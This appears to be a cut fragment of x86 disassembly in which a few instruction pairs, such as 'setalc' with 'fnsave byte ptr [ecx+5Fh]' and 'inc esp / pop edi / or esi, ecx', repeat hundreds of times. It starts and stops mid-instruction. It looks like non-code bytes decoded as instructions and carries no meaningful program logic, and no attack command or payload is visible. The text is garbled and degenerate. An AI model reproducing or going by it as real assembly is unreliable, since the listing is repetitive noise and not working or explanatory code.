[ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc fnsave byte ptr [ecx+5Fh] setalc cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:2D38D3DBh, ch fcmovnbe st, st(3) cmp ds:0B5F44F1h, ch icebp inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc 